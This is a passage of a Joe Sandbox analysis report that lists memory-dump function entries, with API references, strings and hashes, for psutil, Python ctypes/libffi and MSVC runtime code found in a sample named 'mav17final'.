Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Arg_Err_ParseSizeTuple_$FormatString
String ID: abstract class$is|Oz#$i|OO$paramflag value %d not supported$paramflags must be a sequence of (int [,string [,value]]) tuples$paramflags must be a tuple or None$paramflags must have the same length as argtypes
API String ID: 2189051491-1121734848
Opcode ID: 3d6b330cc5c9dd7f19e068a29130591e5b204b1fdfc58b1c50816dd1f366be30
Instruction ID: a6a4f7c6ad89992dee6be5665f67f0382e12315abdad1564463642a16813aad7
Opcode Fuzzy Hash: 3d6b330cc5c9dd7f19e068a29130591e5b204b1fdfc58b1c50816dd1f366be30
Instruction Fuzzy Hash: 91614A72A18B9294EB54CF6AE8402B82BA4FB45BE6F156036DF0D57B58DF3CE585C300

Function 00007FF8B9075530 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

fprintf.MSPDB140-MSVCRT ref: 00007FF8B907558E
fprintf.MSPDB140-MSVCRT ref: 00007FF8B90755A8
fprintf.MSPDB140-MSVCRT ref: 00007FF8B90755C2
LocalAlloc.KERNEL32 ref: 00007FF8B9075606

Strings

GetSystemInfo() failed to retrieve CPU count, xrefs: 00007FF8B90755D8
psutil/arch/windows/cpu.c, xrefs: 00007FF8B907557D
CallNtPowerInformation syscall failed, xrefs: 00007FF8B9075649
psutil-debug [%s:%d]> , xrefs: 00007FF8B9075587
GetActiveProcessorCount() not available; using GetSystemInfo(), xrefs: 00007FF8B90755A1

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: fprintf$AllocLocal
String ID: CallNtPowerInformation syscall failed$GetActiveProcessorCount() not available; using GetSystemInfo()$GetSystemInfo() failed to retrieve CPU count$psutil-debug [%s:%d]> $psutil/arch/windows/cpu.c
API String ID: 2037641928-1734024932
Opcode ID: d8bd9561cb941fcef2cdf787d67f6369189f854a544ea81e42c0554565e4153d
Instruction ID: 3651d3858dbe36facbfedcce08022593c4023c2aa5b9c04c79e788ed91eec8cf
Opcode Fuzzy Hash: d8bd9561cb941fcef2cdf787d67f6369189f854a544ea81e42c0554565e4153d
Instruction Fuzzy Hash: 55413B25B1869682EF509F29E8942796BA1AFA4BE0F444035CB0E477A4EF2CE487C700

Function 00007FF8BA242F14 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF8BA242F71

Part of subcall function 00007FF8BA2452D0: __GetUnwindTryBlock.LIBCMT ref: 00007FF8BA245313
Part of subcall function 00007FF8BA2452D0: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF8BA245338

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF8BA243049
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA243056
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF8BA2432A0
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA2432CE

Part of subcall function 00007FF8BA2469C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BA2425CE), ref: 00007FF8BA2469CE

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA243394
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8BA2433C9

Strings

csm, xrefs: 00007FF8BA242F8B
csm, xrefs: 00007FF8BA24306E
csm, xrefs: 00007FF8BA242FF2

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: BlockFrameHandler3::Unwindabortterminate$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 4223619315-393685449
Opcode ID: 1fea5c564d133bdba3aecb898f1e2b7bc476544beebca211cb7a23793dbe9004
Instruction ID: 224a2b3f9924bb3d76415db356cb6f68d123238aa9600ff98d635cc1a9290aa4
Opcode Fuzzy Hash: 1fea5c564d133bdba3aecb898f1e2b7bc476544beebca211cb7a23793dbe9004
Instruction Fuzzy Hash: D9E17B72A08B428AEB20DB69D4402AD7BA4FB45FD8F101176EF8D57B99CF38E584D740

Function 00007FF8BA24E72C Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 192COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBVCRUNTIME ref: 00007FF8BA24E786

Strings

`template-parameter-, xrefs: 00007FF8BA24E81B
`generic-type-, xrefs: 00007FF8BA24E862
generic-type-, xrefs: 00007FF8BA24E82F
template-parameter-, xrefs: 00007FF8BA24E7E8

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Replicator::operator[]
String ID: `generic-type-$`template-parameter-$generic-type-$template-parameter-
API String ID: 3676697650-3207858774
Opcode ID: ecd4a8ae6d7230611fff1dd4e64a59f99909a897cce7822f33257ee1ddf9a1a8
Instruction ID: 57ac3d70ebf749889012696214537efcba48fd103b1504f1a7ecdeb687ebd474
Opcode Fuzzy Hash: ecd4a8ae6d7230611fff1dd4e64a59f99909a897cce7822f33257ee1ddf9a1a8
Instruction Fuzzy Hash: BD916932A18A8799FB509F28D4502FC27A1BB58B88F8841B2DF5D036A5DF3DE645E350

Function 00007FF8B9F6AD18 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 62COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F6AD4F
memcpy.VCRUNTIME140 ref: 00007FF8B9F6AD75
PyObject_GetAttrString.PYTHON311 ref: 00007FF8B9F6AD84
PyErr_Format.PYTHON311 ref: 00007FF8B9F6ADC0
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6ADCF
PyDict_Update.PYTHON311 ref: 00007FF8B9F6ADEA
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6ADFB

Strings

%.200s.__dict__ must be a dictionary, not %.200s, xrefs: 00007FF8B9F6ADA7
O!s#, xrefs: 00007FF8B9F6AD3D
__dict__, xrefs: 00007FF8B9F6AD7A

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$Arg_AttrDict_Err_FormatObject_ParseSizeStringTuple_Updatememcpy
String ID: %.200s.__dict__ must be a dictionary, not %.200s$O!s#$__dict__
API String ID: 111561578-4068157617
Opcode ID: df2c1ae6872be876c0abca8e9306c520b908d31e559ab2d333eeb8cb4e17a471
Instruction ID: 2ba12d0ccc0d60179cceca62ad0c1d5781ec9b15059f77c31738a4d3d0a87870
Opcode Fuzzy Hash: df2c1ae6872be876c0abca8e9306c520b908d31e559ab2d333eeb8cb4e17a471
Instruction Fuzzy Hash: 2F312972A08F8691EB408F69E8440B827A0FB4ABF6B595136DB5D47754DF3CE454C300

Function 00007FF8B90CA32C Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8B90CA354
__scrt_initialize_crt.LIBCMT ref: 00007FF8B90CA399
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8B90CA3A6
_RTC_Initialize.LIBCMT ref: 00007FF8B90CA3D4
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8B90CA3FA
__scrt_release_startup_lock.LIBCMT ref: 00007FF8B90CA425

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 94e1b7c85106b5dcadd5bf74e1c1f6267d6a35972fcb64925ed8eb6f2d0728e2
Instruction ID: 5fe74c60f617d5eda3cb9ae1f8a19b61ba74d386347a82f466e7148d2b47d7f6
Opcode Fuzzy Hash: 94e1b7c85106b5dcadd5bf74e1c1f6267d6a35972fcb64925ed8eb6f2d0728e2
Instruction Fuzzy Hash: 4C819F61E086C386FE549F6D984527962F0AF85BC0F5A8135EB0D87792DE3CE84FA700

Function 00007FF8B98411D0 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8B98411F8
__scrt_initialize_crt.LIBCMT ref: 00007FF8B984123D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8B984124A
_RTC_Initialize.LIBCMT ref: 00007FF8B9841278
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8B984129E
__scrt_release_startup_lock.LIBCMT ref: 00007FF8B98412C9

Memory Dump Source

Source File: 00000002.00000002.2073245464.00007FF8B9841000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8B9840000, based on PE: true

Associated: 00000002.00000002.2073221006.00007FF8B9840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073274420.00007FF8B9843000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073310530.00007FF8B9845000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073339457.00007FF8B9846000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9840000_mav17final.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 49741281be2100ec61cea02429068dcdc2aa4a812f9568a561c19d79723e8765
Instruction ID: bb1acfe347a5400da4b368faf279c2cc31ca3e0a6a8d1223bb896ff57fc1456c
Opcode Fuzzy Hash: 49741281be2100ec61cea02429068dcdc2aa4a812f9568a561c19d79723e8765
Instruction Fuzzy Hash: 6481AF21F1C2D346FB56AF6E94422B96691AFA6BC0F44C139DB0D87796EF3CE8458700

Function 00007FF8B907A17C Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8B907A1A4
__scrt_initialize_crt.LIBCMT ref: 00007FF8B907A1E9
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8B907A1F6
_RTC_Initialize.LIBCMT ref: 00007FF8B907A224
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8B907A24A
__scrt_release_startup_lock.LIBCMT ref: 00007FF8B907A275

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: e2e812cca47fa06c2962cce7b35db83f97c9664bcb2d84c7423b167603f58d87
Instruction ID: 7156839ff6e43e907e95c0e924cd4f2b45186009b3178a2d91e2a96ad8062bb2
Opcode Fuzzy Hash: e2e812cca47fa06c2962cce7b35db83f97c9664bcb2d84c7423b167603f58d87
Instruction Fuzzy Hash: 6E81B061F0C6C386FE50AF6D98412B96AD0AFA57E0F568035EB0D83792DE3DE443A710

Function 00007FF8B9F6B680 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 142COMMON

Download Yara Rule

APIs

PyObject_CallObject.PYTHON311 ref: 00007FF8B9F6B6F7

Strings

incompatible types, %s instance instead of %s instance, xrefs: 00007FF8B9F6B883
expected %s instance, got %s, xrefs: 00007FF8B9F6B79B
(%s) , xrefs: 00007FF8B9F6B70C

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: CallObjectObject_
String ID: (%s) $expected %s instance, got %s$incompatible types, %s instance instead of %s instance
API String ID: 3040866976-3177377183
Opcode ID: d8d30b96da88cef245048956aa11174a0505f3ed0a0a37e68dc2437735cc2005
Instruction ID: e01b28c735a58274de375a1c395705bf7c6275bee9a61fcea60905846021a86d
Opcode Fuzzy Hash: d8d30b96da88cef245048956aa11174a0505f3ed0a0a37e68dc2437735cc2005
Instruction Fuzzy Hash: A0515765A0DB8281EE549F6EE9502792761BF85FE6F086032DF0D477A9DF2CE451C300

Function 00007FF8BA24A4E8 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24A542
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24A678

Strings

union , xrefs: 00007FF8BA24A6A5
cointerface , xrefs: 00007FF8BA24A61F
class , xrefs: 00007FF8BA24A68D
`unknown ecsu', xrefs: 00007FF8BA24A50E
struct , xrefs: 00007FF8BA24A69C
coclass , xrefs: 00007FF8BA24A631
enum , xrefs: 00007FF8BA24A63A

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+
String ID: `unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 2943138195-1464470183
Opcode ID: f2c82fd6e231fdf3051f437846c0782e2719a4821ee929760b6b2afc08469b6e
Instruction ID: 2fd3c33f5123ca1f85c74b9302a53c9587e05871b61535ad416e647f30b07a77
Opcode Fuzzy Hash: f2c82fd6e231fdf3051f437846c0782e2719a4821ee929760b6b2afc08469b6e
Instruction Fuzzy Hash: 33515972E19A6789FB14CBAAE9801BC37B0BB14B84F5040B5DF0E57A98DF39E545E700

Function 00007FF8B9F616B4 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

PyTuple_New.PYTHON311 ref: 00007FF8B9F616E8
PyUnicode_Concat.PYTHON311 ref: 00007FF8B9F61710
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6176D
PyDict_Update.PYTHON311 ref: 00007FF8B9F617EC
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6180E
PyUnicode_InternFromString.PYTHON311 ref: 00007FF8B9F6183D
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F66ABB

Strings

_be, xrefs: 00007FF8B9F61836

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$Unicode_$ConcatDict_FromInternStringTuple_Update
String ID: _be
API String ID: 1858819020-4071763053
Opcode ID: 10cbbb94ffeeef5047c8331b99db0bdcf7c3f3ec2fb3fe09a0319070b4712324
Instruction ID: a65e44c0a0e3e9b7999e423665690a8b12b4c921876913b754bdc59c665fbcb8
Opcode Fuzzy Hash: 10cbbb94ffeeef5047c8331b99db0bdcf7c3f3ec2fb3fe09a0319070b4712324
Instruction Fuzzy Hash: 3F510372A09F8685EB948F29D85027877A4FB5AFE6B18A135CB4D07764DF3CE4A1C340

Function 00007FF8B9F6CE1C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9F6C4D0: _PyObject_GC_NewVar.PYTHON311(?,?,?,00007FF8B9F6CE4C,?,?,?,?,?,00007FF8B9F66CC2), ref: 00007FF8B9F6C4E7
Part of subcall function 00007FF8B9F6C4D0: memset.VCRUNTIME140(?,?,?,00007FF8B9F6CE4C,?,?,?,?,?,00007FF8B9F66CC2), ref: 00007FF8B9F6C534
Part of subcall function 00007FF8B9F6C4D0: PyObject_GC_Track.PYTHON311(?,?,?,00007FF8B9F6CE4C,?,?,?,?,?,00007FF8B9F66CC2), ref: 00007FF8B9F6C53C

PyErr_NoMemory.PYTHON311(?,?,?,?,?,00007FF8B9F66CC2), ref: 00007FF8B9F6CE8C
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6CFCD

Part of subcall function 00007FF8B9F6F698: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF8B9F6CE69,?,?,?,?,?,00007FF8B9F66CC2), ref: 00007FF8B9F6F6AD
Part of subcall function 00007FF8B9F6F698: VirtualAlloc.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF8B9F6CE69,?,?,?,?,?,00007FF8B9F66CC2), ref: 00007FF8B9F6F6ED

ffi_prep_cif.LIBFFI-8 ref: 00007FF8B9F6CF4E
PyErr_Format.PYTHON311 ref: 00007FF8B9F6CF6C
ffi_prep_closure.LIBFFI-8 ref: 00007FF8B9F6CF86
PyErr_SetString.PYTHON311 ref: 00007FF8B9F6CFBE

Strings

ffi_prep_closure failed with %d, xrefs: 00007FF8B9F6CF90
ffi_prep_cif failed with %d, xrefs: 00007FF8B9F6CF58
invalid result type for callback function, xrefs: 00007FF8B9F6CFB4

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$Object_$AllocDeallocFormatInfoMemoryStringSystemTrackVirtualffi_prep_cifffi_prep_closurememset
String ID: ffi_prep_cif failed with %d$ffi_prep_closure failed with %d$invalid result type for callback function
API String ID: 262837356-3338905684
Opcode ID: d5e79a3c8a6f2ae5980b289ff7b9deb079edb7f79e81270934b3751b0593511a
Instruction ID: 6d739d25746800365fd4dc73f1821b0fa1215ec0bad5e935133a14a9a2aabcd8
Opcode Fuzzy Hash: d5e79a3c8a6f2ae5980b289ff7b9deb079edb7f79e81270934b3751b0593511a
Instruction Fuzzy Hash: D751F522A09B8285EB548F2AE84067927B0FF59BE6F151136DB8D47764CF3CE455C380

Function 00007FF8B9079260 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

GetExtendedUdpTable.IPHLPAPI ref: 00007FF8B9079293
GetExtendedUdpTable.IPHLPAPI ref: 00007FF8B90792F4

Strings

GetExtendedUdpTable: retry with different bufsize, xrefs: 00007FF8B9079390
GetExtendedUdpTable failed, xrefs: 00007FF8B9079330
psutil-debug [%s:%d]> , xrefs: 00007FF8B9079376
psutil/arch/windows/socks.c, xrefs: 00007FF8B907936C

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ExtendedTable
String ID: GetExtendedUdpTable failed$GetExtendedUdpTable: retry with different bufsize$psutil-debug [%s:%d]> $psutil/arch/windows/socks.c
API String ID: 2407854163-2042687678
Opcode ID: 35cfc747fd42142dea801a501df7b154b3cf10118a4a0f8d7693ba94d07b59d1
Instruction ID: 9fabed5a8885933d4babcae50d84a9ff6ea2f932e124253122e7b426f108fc5a
Opcode Fuzzy Hash: 35cfc747fd42142dea801a501df7b154b3cf10118a4a0f8d7693ba94d07b59d1
Instruction Fuzzy Hash: 8B417C35B0868282EF549F2DF4442697BA1EF987E4F088036DB4D477A5DE7CE4868B00

Function 00007FF8B90790E0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

GetExtendedTcpTable.IPHLPAPI ref: 00007FF8B9079113
GetExtendedTcpTable.IPHLPAPI ref: 00007FF8B9079174

Strings

GetExtendedTcpTable: retry with different bufsize, xrefs: 00007FF8B9079210
GetExtendedTcpTable failed, xrefs: 00007FF8B90791B0
psutil-debug [%s:%d]> , xrefs: 00007FF8B90791F6
psutil/arch/windows/socks.c, xrefs: 00007FF8B90791EC

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ExtendedTable
String ID: GetExtendedTcpTable failed$GetExtendedTcpTable: retry with different bufsize$psutil-debug [%s:%d]> $psutil/arch/windows/socks.c
API String ID: 2407854163-1918470230
Opcode ID: ecf26bae23164060e8e4a53c33f2f163f6d16a6659fa752ae9be49c7f8d3077a
Instruction ID: be2f8127d99b67ffdfd4e6a95993f37be125e1bba33a08a95d45ca8f853e999f
Opcode Fuzzy Hash: ecf26bae23164060e8e4a53c33f2f163f6d16a6659fa752ae9be49c7f8d3077a
Instruction Fuzzy Hash: 6F417D25B0868282EF549F2DF45426A7BA1EFA87E4F458036DB4D07765EE7CD486CB00

Function 00007FF8B9079E60 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 72COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00007FF8B9079ECF

Part of subcall function 00007FF8B9071070: GetLastError.KERNEL32 ref: 00007FF8B9071092

Strings

\System\Processor Queue Length, xrefs: 00007FF8B9079EA2
LoadUpdateEvent, xrefs: 00007FF8B9079EBC
PdhOpenQueryW failed, xrefs: 00007FF8B9079E77
PdhAddEnglishCounterW failed, xrefs: 00007FF8B9079EB3
RegisterWaitForSingleObject, xrefs: 00007FF8B9079F5D
CreateEventW, xrefs: 00007FF8B9079EDD
PdhCollectQueryDataEx failed, xrefs: 00007FF8B9079F13

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CreateErrorEventLast
String ID: CreateEventW$LoadUpdateEvent$PdhAddEnglishCounterW failed$PdhCollectQueryDataEx failed$PdhOpenQueryW failed$RegisterWaitForSingleObject$\System\Processor Queue Length
API String ID: 545576003-2079054072
Opcode ID: c1cb49d9b83db92669efa6220550d7b029c16e342428b40d385d0b0f49376f49
Instruction ID: d3cc2e3b9f5cccb6a937bc621cbef0c2888b854e51b929a1835bb936d5e79e7f
Opcode Fuzzy Hash: c1cb49d9b83db92669efa6220550d7b029c16e342428b40d385d0b0f49376f49
Instruction Fuzzy Hash: 78312C61A09A86C2EF10DF69E8441BA6BA1FFA87E4F844036DB4D87664DF3CE546C710

Function 00007FF8B90771F0 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 66COMMON

Download Yara Rule

APIs

fprintf.MSPDB140-MSVCRT ref: 00007FF8B9077269
